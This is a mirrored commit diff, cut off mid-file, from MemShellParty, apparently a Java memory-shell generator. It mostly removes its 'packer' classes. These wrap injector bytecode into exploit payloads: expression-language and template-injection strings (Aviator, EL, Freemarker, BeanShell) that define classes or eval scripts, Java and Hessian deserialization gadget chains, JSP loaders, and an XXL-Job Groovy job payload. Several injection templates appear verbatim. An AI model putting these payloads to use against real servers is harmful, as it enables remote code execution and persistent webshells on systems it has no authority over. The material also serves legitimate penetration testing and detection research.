mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 15:10:43 +08:00
refactor: add packer module
This commit is contained in:
ReaJason
@@ -1,148 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.packer.BCELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.XxlJobPacker;
|
||||
import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
|
||||
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
|
||||
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
|
||||
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
||||
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
|
||||
import com.reajason.javaweb.memshell.packer.el.ELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyClassDefinerPacker;
|
||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJDKAttacherPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.ClassLoaderJspPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.DefineClassJspPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
|
||||
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
|
||||
import com.reajason.javaweb.memshell.packer.rhino.RhinoPacker;
|
||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.spel.SpELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.spel.SpELScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.spel.SpELSpringIOUtilsGzipPacker;
|
||||
import com.reajason.javaweb.memshell.packer.spel.SpELSpringUtilsPacker;
|
||||
import com.reajason.javaweb.memshell.packer.velocity.VelocityPacker;
|
||||
import lombok.Getter;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/23
|
||||
*/
|
||||
@Getter
|
||||
public enum Packers {
|
||||
/**
|
||||
* Base64
|
||||
*/
|
||||
Base64(new Base64Packer()),
|
||||
DefaultBase64(new DefaultBase64Packer(), Base64Packer.class),
|
||||
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
|
||||
|
||||
Jar(new DefaultJarPacker()),
|
||||
|
||||
/**
|
||||
* BCEL
|
||||
*/
|
||||
BCEL(new BCELPacker()),
|
||||
|
||||
/**
|
||||
* JSP 打包器
|
||||
*/
|
||||
JSP(new JspPacker()),
|
||||
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
|
||||
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
|
||||
JSPX(new JspxPacker(), JspPacker.class),
|
||||
|
||||
/**
|
||||
* 脚本引擎打包器
|
||||
*/
|
||||
ScriptEngine(new ScriptEnginePacker()),
|
||||
Rhino(new RhinoPacker()),
|
||||
|
||||
/**
|
||||
* EL
|
||||
*/
|
||||
EL(new ELPacker()),
|
||||
OGNL(new OGNLPacker()),
|
||||
MVEL(new MVELPacker()),
|
||||
Aviator(new AviatorPacker()),
|
||||
JXPath(new JXPathPacker()),
|
||||
JEXL(new JEXLPacker()),
|
||||
BeanShell(new BeanShellPacker()),
|
||||
|
||||
SpEL(new SpELPacker()),
|
||||
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
|
||||
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
|
||||
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
|
||||
|
||||
Groovy(new GroovyPacker()),
|
||||
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
|
||||
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
|
||||
|
||||
Freemarker(new FreemarkerPacker()),
|
||||
Velocity(new VelocityPacker()),
|
||||
JinJava(new JinJavaPacker()),
|
||||
|
||||
/**
|
||||
* Java 反序列化打包器
|
||||
*/
|
||||
JavaDeserialize(new JavaDeserializePacker()),
|
||||
JavaCommonsBeanutils19(new CommonsBeanutils19Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils18(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsCollections3(new CommonsCollections3Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsCollections4(new CommonsCollections4Packer(), JavaDeserializePacker.class),
|
||||
|
||||
/**
|
||||
* Hessian 反序列化打包器
|
||||
*/
|
||||
Hessian2Deserialize(new Hessian2Packer()),
|
||||
Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
|
||||
|
||||
HessianDeserialize(new HessianPacker()),
|
||||
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
|
||||
|
||||
AgentJar(new AgentJarPacker()),
|
||||
AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
|
||||
AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
|
||||
|
||||
XxlJob(new XxlJobPacker()),
|
||||
;
|
||||
private final Packer instance;
|
||||
private Class<?> parentPacker = null;
|
||||
|
||||
Packers(Packer instance) {
|
||||
this.instance = instance;
|
||||
}
|
||||
|
||||
Packers(Packer instance, Class<?> parentPacker) {
|
||||
this.instance = instance;
|
||||
this.parentPacker = parentPacker;
|
||||
}
|
||||
|
||||
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
|
||||
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
|
||||
}
|
||||
}
|
||||
@@ -1,11 +1,14 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.util.Base64;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
@@ -44,4 +47,28 @@ public class GenerateResult {
|
||||
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||
}
|
||||
}
|
||||
|
||||
public JarPackerConfig toJarPackerConfig() {
|
||||
JarPackerConfig jarPackerConfig = new JarPackerConfig();
|
||||
jarPackerConfig.setMainClassName(injectorClassName);
|
||||
Map<String, byte[]> bytes = new HashMap<>();
|
||||
bytes.put(shellClassName, shellBytes);
|
||||
bytes.put(injectorClassName, injectorBytes);
|
||||
if (injectorInnerClassBytes != null) {
|
||||
bytes.putAll(injectorInnerClassBytes);
|
||||
}
|
||||
jarPackerConfig.setClassBytes(bytes);
|
||||
return jarPackerConfig;
|
||||
}
|
||||
|
||||
public ClassPackerConfig toClassPackerConfig() {
|
||||
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
|
||||
classPackerConfig.setClassName(injectorClassName);
|
||||
classPackerConfig.setClassBytes(injectorBytes);
|
||||
classPackerConfig.setClassBytesBase64Str(injectorBytesBase64Str);
|
||||
if (shellConfig != null) {
|
||||
classPackerConfig.setByPassJavaModule(shellConfig.needByPassJavaModule());
|
||||
}
|
||||
return classPackerConfig;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,46 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/26
|
||||
*/
|
||||
public interface AggregatePacker extends Packer {
|
||||
|
||||
/**
|
||||
* 聚合打包当前所有分类下的 payload
|
||||
*
|
||||
* @param generateResult 生成结果
|
||||
* @return key -> 打包名称， value -> 打包 payload
|
||||
*/
|
||||
default Map<String, String> packAll(GenerateResult generateResult) {
|
||||
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
|
||||
Enum::name,
|
||||
packers -> packers.getInstance().pack(generateResult),
|
||||
(existing, replacement) -> existing,
|
||||
LinkedHashMap::new
|
||||
));
|
||||
}
|
||||
|
||||
/**
|
||||
* 将第一个 sub packer 作为默认输出
|
||||
*
|
||||
* @param generateResult 生成的内存马信息
|
||||
* @return payload
|
||||
*/
|
||||
@Override
|
||||
default String pack(GenerateResult generateResult) {
|
||||
List<Packers> packersWithParent = Packers.getPackersWithParent(this.getClass());
|
||||
if (packersWithParent.isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
return packersWithParent.get(0).getInstance().pack(generateResult);
|
||||
}
|
||||
}
|
||||
@@ -1,17 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.bcel.classfile.Utility;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/19
|
||||
*/
|
||||
public class BCELPacker implements Packer {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
return "$$BCEL$$" + Utility.encode(generateResult.getInjectorBytes(), true);
|
||||
}
|
||||
}
|
||||
@@ -1,20 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public interface Packer {
|
||||
|
||||
/**
|
||||
* 将生成的内存马打包成指定格式
|
||||
*
|
||||
* @param generateResult 生成的内存马信息
|
||||
* @return 字符串 payload
|
||||
*/
|
||||
default String pack(GenerateResult generateResult) {
|
||||
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
|
||||
}
|
||||
}
|
||||
@@ -1,53 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.fasterxml.jackson.databind.SerializationFeature;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJobPacker implements Packer {
|
||||
String template = "";
|
||||
|
||||
public XxlJobPacker() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass.java")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String source = template
|
||||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
|
||||
.replace("{{className}}", generateResult.getInjectorClassName());
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("jobId", 1);
|
||||
map.put("executorHandler", "demoJobHandler");
|
||||
map.put("executorParams", "demoJobHandler");
|
||||
map.put("executorBlockStrategy", "COVER_EARLY");
|
||||
map.put("executorTimeout", 0);
|
||||
map.put("logId", 1);
|
||||
map.put("logDateTime", System.currentTimeMillis());
|
||||
map.put("glueType", "GLUE_GROOVY");
|
||||
map.put("glueSource", source);
|
||||
map.put("glueUpdatetime", System.currentTimeMillis());
|
||||
map.put("broadcastIndex", 0);
|
||||
map.put("broadcastTotal", 0);
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
objectMapper.enable(SerializationFeature.INDENT_OUTPUT); // 美化输出
|
||||
return objectMapper.writeValueAsString(map);
|
||||
}
|
||||
}
|
||||
-18
@@ -1,18 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.aviator;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class AviatorPacker implements Packer {
|
||||
String template = "use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('{{className}}', Base64Utils.decodeFromString('{{base64Str}}'), ReflectionUtils.invokeMethod(ClassUtils.getMethod(Class.forName('java.lang.Thread'), 'getContextClassLoader', nil), Thread.currentThread()));";
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
return template.replace("{{className}}", generateResult.getInjectorClassName())
|
||||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str());
|
||||
}
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.base64;
|
||||
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/17
|
||||
*/
|
||||
public class Base64Packer implements AggregatePacker {
|
||||
}
|
||||
-17
@@ -1,17 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.base64;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/17
|
||||
*/
|
||||
public class DefaultBase64Packer implements Packer {
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
return Base64.getEncoder().encodeToString(generateResult.getInjectorBytes());
|
||||
}
|
||||
}
|
||||
-20
@@ -1,20 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.base64;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/22
|
||||
*/
|
||||
public class GzipBase64Packer implements Packer {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
return Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(generateResult.getInjectorBytes()));
|
||||
}
|
||||
}
|
||||
@@ -1,19 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.bsh;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/30
|
||||
*/
|
||||
public class BeanShellPacker implements Packer {
|
||||
String template = "new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\"{{script}}\")";
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||
return template.replace("{{script}}", script.replaceAll("\\\"", "'"));
|
||||
}
|
||||
}
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
|
||||
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/20
|
||||
*/
|
||||
public class Hessian2Packer implements AggregatePacker {
|
||||
|
||||
}
|
||||
-25
@@ -1,25 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
|
||||
|
||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/20
|
||||
*/
|
||||
public class Hessian2XSLTScriptEnginePacker implements Packer {
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
byte[] injectorBytes = generateResult.getInjectorBytes();
|
||||
String injectorClassName = generateResult.getInjectorClassName();
|
||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
|
||||
byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
|
||||
return Base64.getEncoder().encodeToString(generate);
|
||||
}
|
||||
}
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
|
||||
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/20
|
||||
*/
|
||||
public class HessianPacker implements AggregatePacker {
|
||||
|
||||
}
|
||||
-26
@@ -1,26 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
|
||||
|
||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.HessianDeserializeGenerator;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/20
|
||||
*/
|
||||
public class HessianXSLTScriptEnginePacker implements Packer {
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
byte[] injectorBytes = generateResult.getInjectorBytes();
|
||||
String injectorClassName = generateResult.getInjectorClassName();
|
||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
|
||||
byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
|
||||
return Base64.getEncoder().encodeToString(generate);
|
||||
}
|
||||
}
|
||||
-27
@@ -1,27 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
public class CommonsBeanutils110Packer implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
|
||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||
}
|
||||
}
|
||||
-27
@@ -1,27 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
public class CommonsBeanutils16Packer implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
|
||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||
}
|
||||
}
|
||||
-27
@@ -1,27 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
public class CommonsBeanutils18Packer implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
|
||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||
}
|
||||
}
|
||||
-25
@@ -1,25 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
public class CommonsBeanutils19Packer implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
|
||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||
}
|
||||
}
|
||||
-27
@@ -1,27 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
public class CommonsCollections3Packer implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||
deserializeConfig.setPayloadType(PayloadType.CommonsCollections3);
|
||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||
}
|
||||
}
|
||||
-27
@@ -1,27 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
public class CommonsCollections4Packer implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||
deserializeConfig.setPayloadType(PayloadType.CommonsCollections4);
|
||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||
}
|
||||
}
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class JavaDeserializePacker implements AggregatePacker {
|
||||
|
||||
}
|
||||
@@ -1,19 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.el;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class ELPacker implements Packer {
|
||||
String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
-19
@@ -1,19 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.freemarker;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class FreemarkerPacker implements Packer {
|
||||
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
-35
@@ -1,35 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.groovy;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/11
|
||||
*/
|
||||
public class GroovyClassDefinerPacker implements Packer {
|
||||
String template = null;
|
||||
|
||||
public GroovyClassDefinerPacker() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.groovy")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
String injectorClassName = generateResult.getInjectorClassName();
|
||||
return template.replace("{{className}}", injectorClassName)
|
||||
